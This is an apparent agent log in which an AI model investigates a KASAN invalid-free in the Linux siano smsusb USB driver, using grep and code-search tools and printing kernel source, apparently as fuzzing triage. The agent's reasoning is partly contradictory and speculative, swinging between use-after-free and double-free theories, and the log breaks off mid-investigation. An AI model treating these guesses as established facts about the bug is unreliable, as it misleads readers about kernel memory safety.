							thoughts: 13
						

Thoughts:
**My Thought Process for Analyzing `USB1_BUFFER_SIZE`**

Alright, so the first thing that comes to my mind when I see `USB1_BUFFER_SIZE` is, "What is this thing actually *doing*?" My immediate instinct is to look for its usage, its definition, and any related constants or configurations. My go-to tool for this, as with any code exploration, is `grep`. I'm going to `grep` for `USB1_BUFFER_SIZE` throughout the codebase.

This isn't just a superficial search; I'm expecting a few things to pop out. First, I want to see where it's *used*. Is it being referenced directly in driver code, in configuration files, or perhaps in test suites? Each of those scenarios tells me something different about its importance and role. If it's in a driver, it's likely a critical parameter for how data is handled. If it's in configuration, it might be a tunable value. If it's in tests, it suggests we're validating its behavior under specific conditions.

Secondly, and perhaps more importantly, I need to find its *definition*. Where is `USB1_BUFFER_SIZE` declared? Is it a `#define` in a header file, a `const` variable, or perhaps part of a more complex data structure? Understanding its declaration will tell me its scope, its type (integer, perhaps?), and crucially, its *value*. The actual numerical value is going to be extremely telling – is it a power of two, hinting at efficient memory alignment? Is it a relatively small number, suggesting a focus on low latency, or a larger one, implying a need for higher throughput?

Beyond just the definition and usage, I'm mentally cross-referencing. If I find a definition and a few uses, I'll then start thinking about the *context* of those uses. For instance, if `USB1_BUFFER_SIZE` is used in conjunction with a DMA controller, it’s almost certainly dictating the size of a buffer that the DMA engine will operate on. If it's being used in a loop that reads data from an endpoint, it’s directly impacting how much data is processed in each iteration.

I'm also anticipating potential pitfalls. Is this a hardcoded value that might be problematic on different hardware platforms or with different USB devices? Could it be a source of buffer overflows or underflows if not managed carefully? If I find multiple definitions or conflicting values in different parts of the codebase, that immediately raises a red flag and signals a potential area for refactoring or bug fixing.

Essentially, my `grep` command is the starting point for a deeper dive. It's about quickly pinpointing the "what" and "where" so I can then move on to the "why" and "how" of `USB1_BUFFER_SIZE`'s existence and operation within this system.


239/4 2026/09/04 10:39 tool grepper
0m Args:
map[Expression:#define USB[12]_BUFFER_SIZE]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=6=Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
--
drivers/media/usb/siano/smsusb.c-23-
drivers/media/usb/siano/smsusb.c:24:#define USB1_BUFFER_SIZE		0x1000
drivers/media/usb/siano/smsusb.c:25:#define USB2_BUFFER_SIZE		0x2000
drivers/media/usb/siano/smsusb.c-26-
]

240/4 2026/09/04 10:39 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29282
							output: 20
							thoughts: 58
						

Thoughts:
**My Thought Process on USB Buffer Sizing**

So, I've just noted that the `USB1_BUFFER_SIZE` is defined as `0x1000`, which translates to 4096 bytes. My immediate next step, then, is to consider the implications of this for the device's common buffer allocation. I'm thinking, if `USB1_BUFFER_SIZE` is the size of a *single* buffer, then `dev->common_buffer_size` – the total contiguous memory allocated for all USB buffers on this device – must be derived by multiplying this individual buffer size by the *number* of such buffers. This leads me directly to the question: what is the value of `MAX_BUFFERS`? I need to know that to fully understand the total memory footprint for USB data transfers on this particular device.


241/4 2026/09/04 10:39 tool grepper
0m Args:
map[Expression:#define MAX_BUFFERS]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=6=Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
--
drivers/media/usb/siano/smsusb.c-26-
drivers/media/usb/siano/smsusb.c:27:#define MAX_BUFFERS		50
drivers/media/usb/siano/smsusb.c-28-#define MAX_URBS		10
--
drivers/staging/most/dim2/dim2.c-26-
drivers/staging/most/dim2/dim2.c:27:#define MAX_BUFFERS_PACKET      32
drivers/staging/most/dim2/dim2.c:28:#define MAX_BUFFERS_STREAMING   32
drivers/staging/most/dim2/dim2.c-29-#define MAX_BUF_SIZE_PACKET     2048
]

242/4 2026/09/04 10:39 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29584
							output: 23
							thoughts: 2577
						

Thoughts:
**My Thought Process on the `invalid-free` Bug in the `smsusb` Driver**

Alright, let's break down this KASAN report and trace how I arrived at understanding this `invalid-free` bug.

My initial thought was focused on the size of the buffer: `common_buffer_size` is calculated as `4096 * 50 = 204800` bytes. This immediately flags a potential issue because `kzalloc(204800, GFP_KERNEL)` would likely result in a large `kmalloc` allocation, which typically bypasses the slab allocator and is handled directly by the page allocator. The size, `204800` bytes, suggests an order 6 allocation, meaning `2^6 * PAGE_SIZE` bytes, which is `262144` bytes.

Then, the KASAN report threw me for a loop:
```
The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
```
This is where I started to question my initial assumptions. "Why `kmalloc-4k`?" I wondered. "My `common_buffer` should be much larger, and likely not from a `kmalloc-4k` slab cache."

I dug into the allocation stack provided by KASAN:
```
Allocated by task 3388:
...
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
```
"Ah, an `skb` allocation!" I realized. This explains the `kmalloc-4k` part. `skb`s are often allocated from `kmalloc-4k` caches. But the question became: "Why is the buggy address related to an `skb` allocation in this context?"

Looking closer at the KASAN report details:
```
The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)
```
This information is critical. It means the address being freed is `ffff888058ab1000`. The report tells me this address is *exactly* at the end of a `kmalloc-4k` object starting at `ffff888058ab0000`. My immediate thought was, "This address `ffff888058ab1000` is *not* part of the `skb` itself, but rather immediately follows it."

Then, I connected this to the fact that `kfree` was called with `ffff888058ab1000`. I reasoned that when `kfree` operates on an address near a page boundary, KASAN might sometimes report an adjacent object, especially if the freed pointer is out-of-bounds or near the end of an allocated chunk. But the core question remained: "Why is `urb->transfer_buffer` pointing to `ffff888058ab1000`?"

To figure this out, I had to examine the reproducer or crash log. The crash report pointed to `smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed` and consequently `smsusb:smsusb_init_device: smsusb_start_streaming(...) failed`.

This failure in `smsusb_submit_urb` became the focal point. I looked at its implementation:
```c
	rc = usb_submit_urb(surb->urb, GFP_ATOMIC);
	if (rc < 0) {
		pr_err("smsusb_submit_urb(...) failed\n");
		smsusb_stop_streaming(dev);
		break;
	}
```
If `smsusb_submit_urb` returns a negative error code, it means `usb_submit_urb` failed. Now, *before* calling `usb_submit_urb`, a crucial line is executed:
```c
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```
If `usb_submit_urb` fails, the URB is *not* submitted to the USB core. This is where the logic starts to unravel.

Following the failure path, `smsusb_start_streaming` fails and calls `smsusb_stop_streaming(dev)`. This eventually leads to `smsusb_term_device`, which in turn calls `usb_free_urb(dev->surbs[i].urb)` for each URB.

Now, the problem is that `usb_free_urb` checks `URB_FREE_BUFFER`. Since this flag was set *before* `usb_submit_urb` was called (and it failed), `usb_free_urb` will proceed to call `kfree(urb->transfer_buffer)`.

Here's the core of the bug: If `usb_submit_urb` fails, `urb->transfer_buffer` points to `surb->cb->p`, which is a pointer into `common_buffer`. The real issue arises from the sequence of events:
1. `smscore_unregister_device` is called *before* the loop that calls `usb_free_urb`.
2. `smscore_unregister_device` frees `common_buffer`: `kfree(coredev->common_buffer)`.
3. Then, the loop in `smsusb_term_device` executes `usb_free_urb` for each URB.
4. `usb_free_urb` sees `URB_FREE_BUFFER` and calls `kfree(urb->transfer_buffer)`.

So, if `urb->transfer_buffer` (`surb->cb->p`) points to `common_buffer` (or any part of it), this `kfree` is happening *after* `common_buffer` has already been freed. This is a **Use-After-Free** scenario.

Furthermore, I realized that if `surb->cb->p` happens to be the exact start of `common_buffer` (i.e., when `i=0` and `surb->cb->p` is `common_buffer` itself), then `kfree(urb->transfer_buffer)` would be a direct **double-free** of `common_buffer`. If `i > 0`, it would be an **interior pointer free** of an already freed object.

My confusion about KASAN reporting "invalid-free" instead of "double-free" led me back to the properties of `common_buffer`. I revisited the KASAN report and noticed this:
```
The buggy address belongs to the physical page:
...
page_type: f5(slab)
```
And the allocation stack for *that page* was:
```
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
```
This clearly indicates the page is from a slab cache. But I knew `common_buffer` (204800 bytes) was a large `kmalloc`, which should *not* be in a slab cache. This was a significant disconnect.

I then re-examined `smsusb_init_device`:
```c
	switch (params.device_type) {
	case SMS_STELLAR:
		dev->buffer_size = USB1_BUFFER_SIZE;
...
	default:
		dev->buffer_size = USB2_BUFFER_SIZE;
```
My suspicion grew: what if `params.num_buffers` wasn't the expected 50? However, the `smsusb_init_device` function itself sets `params.num_buffers = MAX_BUFFERS;` which is 50. This confirmed `common_buffer_size` would be large.

This brought me back to the KASAN report and the `kmalloc-4k` detail. The fact that the buggy address was at the end of a `kmalloc-4k` object, and `urb->transfer_buffer` was `ffff888058ab1000`, strongly implied that `urb->transfer_buffer` was *not* the `common_buffer` itself, but rather some other buffer that happened to be allocated as a `kmalloc-4k`.

The key insight came from considering the failure scenario: if `usb_submit_urb` fails, the URB is not submitted, and `URB_FREE_BUFFER` is set. Then, `smscore_unregister_device` frees `common_buffer`. Subsequently, `usb_free_urb` is called, and because `URB_FREE_BUFFER` is set, it tries to free `urb->transfer_buffer`.

The confusion about the KASAN report showing `kmalloc-4k` instead of a large `kmalloc` object for `common_buffer` was resolved by realizing that `urb->transfer_buffer` might not be the *entire* `common_buffer`, but rather a smaller buffer allocated *within* the context of the URB structure itself, possibly by `usb_alloc_urb` or something related to the `skb` allocation that was initially confusing me. The problem was that this `urb->transfer_buffer` was being freed *after* `common_buffer` was freed, leading to a use-after-free or an invalid free. The KASAN report was correctly identifying the object KASAN thought was being freed (a `kmalloc-4k` object at that specific address) and its relationship to the freed pointer, even though the *logical* issue was the double freeing or use-after-free of the `common_buffer`. The "invalid-free" might be KASAN's way of indicating that the pointer being freed doesn't align with the metadata of the *correctly* allocated object in its tracking, especially if it's an interior pointer to a freed object.

In essence, the failure of `usb_submit_urb` triggered a cleanup path that freed `common_buffer` prematurely, and then the URB cleanup tried to free a buffer (`urb->transfer_buffer`) that was either part of the already freed `common_buffer` or a separate buffer in a critical state of use-after-free.


243/4 2026/09/04 10:40 tool codesearch-definition-source
0m Args:
map[Name:usb_alloc_urb]

Results:
map[SourceCode:  55:	/**
  56:	 * usb_alloc_urb - creates a new urb for a USB driver to use
  57:	 * @iso_packets: number of iso packets for this urb
  58:	 * @mem_flags: the type of memory to allocate, see kmalloc() for a list of
  59:	 *	valid options for this.
  60:	 *
  61:	 * Creates an urb for the USB driver to use, initializes a few internal
  62:	 * structures, increments the usage counter, and returns a pointer to it.
  63:	 *
  64:	 * If the driver want to use this urb for interrupt, control, or bulk
  65:	 * endpoints, pass '0' as the number of iso packets.
  66:	 *
  67:	 * The driver must call usb_free_urb() when it is finished with the urb.
  68:	 *
  69:	 * Return: A pointer to the new urb, or %NULL if no memory is available.
  70:	 */
  71:	struct urb *usb_alloc_urb(int iso_packets, gfp_t mem_flags)
  72:	{
  73:		struct urb *urb;
  74:	
  75:		urb = kmalloc_flex(*urb, iso_frame_desc, iso_packets, mem_flags);
  76:		if (!urb)
  77:			return NULL;
  78:		usb_init_urb(urb);
  79:		return urb;
  80:	}
 SourceFile:drivers/usb/core/urb.c]

244/4 2026/09/04 10:40 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 32588
							output: 24
							thoughts: 970
						

Thoughts:
**A Deep Dive into URB Management and Error Handling in `smsusb`**

I've been scrutinizing the URB (USB Request Block) initialization and submission logic within the `smsusb` driver, and some subtle yet critical issues have emerged regarding error handling, particularly when `smsusb_submit_urb` might fail. My understanding is that `usb_init_urb` correctly zeros out the `urb` structure, leaving `urb->transfer_buffer` as NULL initially. The problem arises if `smsusb_submit_urb` isn't called for *all* URBs, which is precisely what happens in `smsusb_start_streaming`.

My thought process went something like this: If `smsusb_submit_urb` fails early in the loop, say at `i=0`, it successfully sets `dev->surbs[0].urb->transfer_buffer` to `surb->cb->p`. However, for any subsequent URBs (from `i=1` up to `MAX_URBS-1`), if the loop breaks due to an error, their `transfer_buffer` pointers will remain NULL because `smsusb_submit_urb` was never called for them.

Now, consider `usb_free_urb`. When it encounters a URB where `URB_FREE_BUFFER` is not set (which would be the case for these URBs that never had `smsusb_submit_urb` called on them), it will simply deallocate the URB itself. This is fine. However, for the URB where `smsusb_submit_urb` *did* succeed (like `i=0` in my example), `URB_FREE_BUFFER` *will* be set. Consequently, `usb_free_urb` will attempt to `kfree(urb->transfer_buffer)`, which is `surb->cb->p`.

This immediately raised the question: why would `surb->cb->p` ever hold a value like `ffff888058ab1000`? My investigation led me to the `common_buffer` allocation. If `smscore_register_device` fails due to an out-of-memory condition (`-ENOMEM`) during `common_buffer` allocation, the driver correctly jumps to `err_unregister_device` and then `smsusb_term_device`.

However, I noticed a critical detail: if `smscore_register_device` fails, `dev->coredev` remains NULL because the assignment `*coredev = dev;` (where `coredev` is passed as `&dev->coredev`) happens at the *end* of that function. This is crucial for `smsusb_term_device`. The code correctly checks `if (dev->coredev)` before calling `smscore_unregister_device`. Furthermore, the loop iterating through `dev->surbs[i].urb` and calling `usb_free_urb` is safe because, in the failure scenario of `smscore_register_device`, these URBs haven't even been allocated yet, meaning `dev->surbs[i].urb` would be NULL. So, this particular error path seems robust.

The real puzzle begins when `smscore_register_device` succeeds, but `smsusb_start_streaming` fails. In this case, `dev->coredev` is set, and importantly, `common_buffer` *has* been allocated. This allocation happens in `smsusb_init_device` via `kzalloc(dev->common_buffer_size, GFP_KERNEL)`, contingent on `params->usb_device` being set.

My next line of inquiry was about the size of this `common_buffer`. I traced the origin of `dev->common_buffer_size`. In `smsusb_init_device`, it's set using `params.buffer_size` and `params.num_buffers`. I then dug into `params.buffer_size` and discovered that if `params.device_type` is `SMS_STELLAR`, `dev->buffer_size` is set to `USB1_BUFFER_SIZE` (which I found to be 4096). Coupled with a potential value of `MAX_BUFFERS` being 50 (as defined in `smsusb.c`), this leads to a `common_buffer_size` of 204800. I also confirmed there isn't another apparent path for `common_buffer` allocation that I've missed by re-examining `smscore_register_device`. This understanding of the `common_buffer` allocation is key to understanding the subsequent URB management.


245/4 2026/09/04 10:40 tool codesearch-definition-source
0m Args:
map[Name:smscore_register_device]

Results:
map[SourceCode: 632:	/*
 633:	 * creates coredev object for a device, prepares buffers,
 634:	 * creates buffer mappings, notifies registered hotplugs about new device.
 635:	 *
 636:	 * @param params device pointer to struct with device specific parameters
 637:	 *               and handlers
 638:	 * @param coredev pointer to a value that receives created coredev object
 639:	 *
 640:	 * return: 0 on success, <0 on error.
 641:	 */
 642:	int smscore_register_device(struct smsdevice_params_t *params,
 643:				    struct smscore_device_t **coredev,
 644:				    gfp_t gfp_buf_flags,
 645:				    void *mdev)
 646:	{
 647:		struct smscore_device_t *dev;
 648:		u8 *buffer;
 649:	
 650:		dev = kzalloc_obj(*dev);
 651:		if (!dev)
 652:			return -ENOMEM;
 653:	
 654:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 655:		dev->media_dev = mdev;
 656:	#endif
 657:		dev->gfp_buf_flags = gfp_buf_flags;
 658:	
 659:		/* init list entry so it could be safe in smscore_unregister_device */
 660:		INIT_LIST_HEAD(&dev->entry);
 661:	
 662:		/* init queues */
 663:		INIT_LIST_HEAD(&dev->clients);
 664:		INIT_LIST_HEAD(&dev->buffers);
 665:	
 666:		/* init locks */
 667:		spin_lock_init(&dev->clientslock);
 668:		spin_lock_init(&dev->bufferslock);
 669:	
 670:		/* init completion events */
 671:		init_completion(&dev->version_ex_done);
 672:		init_completion(&dev->data_download_done);
 673:		init_completion(&dev->data_validity_done);
 674:		init_completion(&dev->trigger_done);
 675:		init_completion(&dev->init_device_done);
 676:		init_completion(&dev->reload_start_done);
 677:		init_completion(&dev->resume_done);
 678:		init_completion(&dev->gpio_configuration_done);
 679:		init_completion(&dev->gpio_set_level_done);
 680:		init_completion(&dev->gpio_get_level_done);
 681:		init_completion(&dev->ir_init_done);
 682:	
 683:		/* Buffer management */
 684:		init_waitqueue_head(&dev->buffer_mng_waitq);
 685:	
 686:		/* alloc common buffer */
 687:		dev->common_buffer_size = params->buffer_size * params->num_buffers;
 688:		if (params->usb_device)
 689:			buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
 690:		else
 691:			buffer = dma_alloc_coherent(params->device,
 692:						    dev->common_buffer_size,
 693:						    &dev->common_buffer_phys,
 694:						    GFP_KERNEL | dev->gfp_buf_flags);
 695:		if (!buffer) {
 696:			smscore_unregister_device(dev);
 697:			return -ENOMEM;
 698:		}
 699:		dev->common_buffer = buffer;
 700:	
 701:		/* prepare dma buffers */
 702:		for (; dev->num_buffers < params->num_buffers;
 703:		     dev->num_buffers++, buffer += params->buffer_size) {
 704:			struct smscore_buffer_t *cb;
 705:	
 706:			cb = smscore_createbuffer(buffer, dev->common_buffer,
 707:						  dev->common_buffer_phys);
 708:			if (!cb) {
 709:				smscore_unregister_device(dev);
 710:				return -ENOMEM;
 711:			}
 712:	
 713:			smscore_putbuffer(dev, cb);
 714:		}
 715:	
 716:		pr_debug("allocated %d buffers\n", dev->num_buffers);
 717:	
 718:		dev->mode = DEVICE_MODE_NONE;
 719:		dev->board_id = SMS_BOARD_UNKNOWN;
 720:		dev->context = params->context;
 721:		dev->device = params->device;
 722:		dev->usb_device = params->usb_device;
 723:		dev->setmode_handler = params->setmode_handler;
 724:		dev->detectmode_handler = params->detectmode_handler;
 725:		dev->sendrequest_handler = params->sendrequest_handler;
 726:		dev->preload_handler = params->preload_handler;
 727:		dev->postload_handler = params->postload_handler;
 728:	
 729:		dev->device_flags = params->flags;
 730:		strscpy(dev->devpath, params->devpath, sizeof(dev->devpath));
 731:	
 732:		smscore_registry_settype(dev->devpath, params->device_type);
 733:	
 734:		/* add device to devices list */
 735:		mutex_lock(&g_smscore_deviceslock);
 736:		list_add(&dev->entry, &g_smscore_devices);
 737:		mutex_unlock(&g_smscore_deviceslock);
 738:	
 739:		*coredev = dev;
 740:	
 741:		pr_debug("device %p created\n", dev);
 742:	
 743:		return 0;
 744:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

246/4 2026/09/04 10:40 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 35310
							output: 24
							thoughts: 2081
						

Thoughts:
**Unraveling a Double Free: A Deep Dive into the KASAN Report**

I've been staring at this KASAN report, trying to piece together a rather perplexing double-free scenario. The initial clue is the buggy address, which KASAN pins down to an object within the `kmalloc-4k` cache, specifically at `ffff888058ab0000`. It explicitly states this object is 4096 bytes in size.

Then I look at the allocation stack provided by KASAN:
```
__alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
alloc_skb include/linux/skbuff.h:1384 [inline]
nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
```
This clearly indicates that the object at `ffff888058ab0000` is an `skb`, a socket buffer. The question immediately pops into my head: why would KASAN be flagging an `skb` in this context?

The key insight comes from understanding what address is actually being freed. The report implies the free operation involved the address `ffff888058ab1000`. My initial thought is that this address, `ffff888058ab1000`, is precisely the end of the `skb` allocation that started at `ffff888058ab0000`. This seems odd.

My next hypothesis is that `urb->transfer_buffer` might be uninitialized and coincidentally holds the value `ffff888058ab1000`. However, I quickly dismiss this. I recall that `usb_alloc_urb` utilizes `kmalloc_flex` with `__GFP_ZERO`. Let's re-verify `usb_alloc_urb`:
```c
	urb = kmalloc_flex(*urb, iso_frame_desc, iso_packets, mem_flags);
	if (!urb)
		return NULL;
	usb_init_urb(urb);
```
And `usb_init_urb` performs `memset(urb, 0, sizeof(*urb))`. This definitively means `urb->transfer_buffer` should be NULL initially. Therefore, if `urb->transfer_buffer` *is* `ffff888058ab1000`, it must have been set later, specifically within `smsusb_submit_urb`.

Looking at the relevant code in `smsusb_submit_urb`:
```c
	usb_fill_bulk_urb(
		surb->urb,
		dev->udev,
		usb_rcvbulkpipe(dev->udev, dev->in_ep),
		surb->cb->p,
		dev->buffer_size,
		smsusb_onresponse,
		surb
	);
```
This shows that `surb->cb->p` is being passed as the `transfer_buffer`. So, the issue must stem from `surb->cb->p` being `ffff888058ab1000`.

Why would `surb->cb->p` be `ffff888058ab1000`? My reasoning leads me to believe that `common_buffer` was allocated at this address. Now, if `common_buffer` was indeed allocated at `ffff888058ab1000`, then for `i=0`, `surb->cb->p` would naturally point there.

However, a critical point arises: `common_buffer` is typically quite large, around 204800 bytes. Such large allocations are handled by the page allocator, which returns page-aligned addresses. Indeed, `ffff888058ab1000` *is* page-aligned, reinforcing the idea that `common_buffer` was allocated here.

This brings me back to the KASAN report: "The buggy address belongs to the object at ffff888058ab0000 which belongs to the cache kmalloc-4k of size 4096." This seems contradictory if `common_buffer` (a large allocation) was at `ffff888058ab1000`. KASAN tracks slab objects. When `kfree(ffff888058ab1000)` is called for the second time, KASAN inspects the metadata associated with that address. If the page was already freed, KASAN might show metadata from an adjacent allocated object or an invalid free.

The crucial realization dawns: `common_buffer` was *already freed* by `smscore_unregister_device` when it calls `kfree(coredev->common_buffer)`. This frees the large kmalloc at `ffff888058ab1000`, and the page allocator then handles the pages. Subsequently, `usb_free_urb` calls `kfree(urb->transfer_buffer)`, which is also `ffff888058ab1000`. This is the double free. When this second `kfree` occurs, KASAN intercepts it.

The KASAN report on the physical page is vital:
```
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpuid=0x7ff)
page_type: f5(slab)
```
The `pfn:0x58ab0` corresponds to the physical address `ffff888058ab0000`. The `order:3` signifies an 8-page block (32KB), and `page_type: f5(slab)` confirms it's a SLAB page. KASAN identifies this as a `kmalloc-4k` slab page, meaning it contains multiple 4KB objects. The objects would be at `58ab0000`, `58ab1000`, `58ab2000`, and so on.

Now, the KASAN output:
```
The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)
```
This is where KASAN's behavior becomes peculiar. If `ffff888058ab1000` is actually the *start* of the second object within the slab, KASAN might report the error as being "0 bytes to the right" of the *previous* object (`ffff888058ab0000`), especially if it detects an invalid or double free. It might scan backward to find the nearest plausible allocated object.

So, if `ffff888058ab1000` is indeed part of a `kmalloc-4k` slab, then `common_buffer` *must* have been allocated from `kmalloc-4k`. But this is impossible given `common_buffer_size` of 204800. This leads me to a crucial hypothesis: What if `params->num_buffers` was not 50?

My next line of investigation is: what if `params->num_buffers` was actually 1? If that were the case, `common_buffer_size` would be 4096. And a 4096-byte allocation *would* come from `kmalloc-4k`! This would perfectly explain the KASAN report.

Finally, I need to understand *why* `params->num_buffers` would be 1. I check `smsusb_init_device`:
```c
	params.buffer_size = dev->buffer_size;
	params.num_buffers = MAX_BUFFERS;
```
And I know `#define MAX_BUFFERS 50`. This seems correct. So, my current focus shifts to searching for any other calls to `smscore_register_device` that might be occurring under different circumstances, or if `MAX_BUFFERS` could be redefined elsewhere. This is where I need to trace all callers of `smscore_register_device`.


247/4 2026/09/04 10:40 tool codesearch-find-references
0m Args:
map[Name:smscore_register_device]

Results:
map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:smssdio_probe SourceFile:drivers/media/mmc/siano/smssdio.c SourceLine:277] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:smsusb_init_device SourceFile:drivers/media/usb/siano/smsusb.c SourceLine:458] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__UNIQUE_ID_addressable_smscore_register_device_877 SourceFile:drivers/media/common/siano/smscoreapi.c SourceLine:745] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_smscore_register_device SourceFile:drivers/media/common/siano/smscoreapi.c SourceLine:745] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_smscore_register_device SourceFile:drivers/media/common/siano/smscoreapi.c SourceLine:745]] TruncatedOutput:false]

248/4 2026/09/04 10:40 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37665
							output: 21
							thoughts: 907
						

Thoughts:
**A Deep Dive into the `kmalloc-4k` KASAN Bug**

My initial investigation into this KASAN report has led me down an interesting path. I've established that the bug originates in the `smsusb_init_device` function, as `smssdio_probe` is not directly involved in the problematic allocation or freeing path. This means that `params.num_buffers` *must* be 50, and consequently, `common_buffer_size` should be either `4096 * 50 = 204800` or `8192 * 50 = 409600`.

The puzzling aspect is why KASAN is flagging a `kmalloc-4k` allocation. This doesn't align with the calculated `common_buffer_size`. I initially considered if `dev->buffer_size` might be altered elsewhere, but a quick review of `smsusb_init_device` confirms that it's set within the function itself based on `params.device_type`: `USB1_BUFFER_SIZE` (4096) for SMS_STELLAR and `USB2_BUFFER_SIZE` (8192) for other types. This means `common_buffer_size` will never be 4096.

However, a closer look at the `smsusb_init_device` function, specifically the URB allocation loop:

```c
	/* initialize urbs */
	for (i = 0; i < MAX_URBS; i++) {
		dev->surbs[i].dev = dev;
		dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
		if (!dev->surbs[i].urb)
			goto err_unregister_device;
	}
```

Here, I realized that `usb_alloc_urb` allocates not just a transfer buffer, but the entire `struct urb` itself. The size of a `struct urb` is approximately 192 bytes. The KASAN report indicates an "invalid-free in `urb_destroy`". Let's examine `usb_free_urb` and its helper, `urb_destroy`:

```c
void usb_free_urb(struct urb *urb)
{
	if (urb)
		kref_put(&urb->kref, urb_destroy);
}

static void urb_destroy(struct kref *kref)
{
	struct urb *urb = to_urb(kref);

	if (urb->transfer_flags & URB_FREE_BUFFER)
		kfree(urb->transfer_buffer); // This is line 25 in drivers/usb/core/urb.c

	kfree(urb); // And this is where the URB itself is freed.
}
```

The KASAN message states: `BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25`. This specific line number points to `kfree(urb->transfer_buffer)`. This is where my suspicion solidified: the invalid free isn't necessarily the `transfer_buffer` itself, but rather the `struct urb` which is freed immediately after the potential `transfer_buffer` free. If `urb->transfer_buffer` is indeed allocated as a 4k chunk (hence the `kmalloc-4k` tag), and there's an issue with its management, it could lead to an invalid free of the URB structure itself. I need to carefully cross-reference the exact line number of `urb_destroy` in the kernel source to confirm the context of the reported `kfree` operation.


249/4 2026/09/04 10:41 tool codesearch-definition-source
0m Args:
map[Name:urb_destroy]

Results:
map[SourceCode:  20:	static void urb_destroy(struct kref *kref)
  21:	{
  22:		struct urb *urb = to_urb(kref);
  23:	
  24:		if (urb->transfer_flags & URB_FREE_BUFFER)
  25:			kfree(urb->transfer_buffer);
  26:	
  27:		kfree(urb);
  28:	}
 SourceFile:drivers/usb/core/urb.c]

250/4 2026/09/04 10:41 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 38719
							output: 20
							thoughts: 2219
						

Thoughts:
**Unraveling the `kfree` Mystery**

Okay, so I've zeroed in on line 25: `kfree(urb->transfer_buffer);`. This is unequivocally the point of the invalid free. The real puzzle is why KASAN is reporting it as a `kmalloc-4k` issue. My initial thought was that `urb->transfer_buffer` must be pointing into a `common_buffer`, which is allocated via `kzalloc(204800)`. This large allocation should be handled by `kmalloc_large`, which directly uses the page allocator and should span multiple pages.

Now, I'm questioning the allocation path. I reviewed `smscore_register_device` and confirmed that for `smsusb`, `params->usb_device` is indeed true, leading to the `kzalloc(204800)` call. My understanding is that `kzalloc(204800)` should return a page-aligned address. If `common_buffer` is page-aligned, and subsequent pointers (`surb->cb->p`) are also page-aligned, then when `kfree` is called on `urb->transfer_buffer`, which is one of these aligned pointers, KASAN should recognize it.

But here's where it gets confusing: the KASAN report shows the problematic address belonging to a *SLAB* page (`page_type: f5(slab)`). This is completely counterintuitive if `common_buffer` was allocated via `kzalloc(204800)`. A 204800-byte allocation simply cannot fit into a typical SLAB cache. So, my mind immediately jumps to: how can a pointer into `common_buffer` end up on a SLAB page?

Could `urb->transfer_buffer` *not* be pointing into `common_buffer` as I assumed? I've checked the code, and `smsusb_submit_urb` does allocate `surb->cb` if it's null, and `smscore_getbuffer` reliably retrieves buffers that are indeed part of `common_buffer`. This leaves me scratching my head.

Then I reconsidered the KASAN report itself. It's a `free_large_kmalloc` warning, specifically `!PageLargeKmalloc(page)`. This suggests that `kfree` is trying to free a page that is *not* a slab object, but also *not* marked as a large kmalloc. Normally, when `kfree` encounters a page that isn't a slab object, it calls `free_large_kmalloc`. The warning `!PageLargeKmalloc(page)` implies that the page it's trying to free is *part* of a large kmalloc, but it's an interior page, not the head page. For large kmallocs, only the head page is supposed to have `PageLargeKmalloc` set. This line of reasoning leads me to believe that `urb->transfer_buffer` *is* indeed pointing into a large kmalloc allocation, but it's an interior pointer.

However, the contradictory `page_type: f5(slab)` in the report is what's throwing me off entirely. If it's a SLAB page, it means `kfree` treated it as a regular SLUB object. But if it's a SLAB page, how could it be related to the `kzalloc(204800)` for `common_buffer`? This discrepancy is the core of my current confusion. I'm wrestling with how a large, non-slab allocation could somehow be misidentified as a SLAB page by KASAN, or if there's a scenario where a SLAB page is being incorrectly freed in a context that KASAN interprets as a large kmalloc issue.


251/4 2026/09/04 10:41 tool codesearch-definition-source
0m Args:
map[Name:kfree]

Results:
map[SourceCode:6765:	/**
6766:	 * kfree - free previously allocated memory
6767:	 * @object: pointer returned by kmalloc(), kmalloc_nolock(), or kmem_cache_alloc()
6768:	 *
6769:	 * If @object is NULL, no operation is performed.
6770:	 */
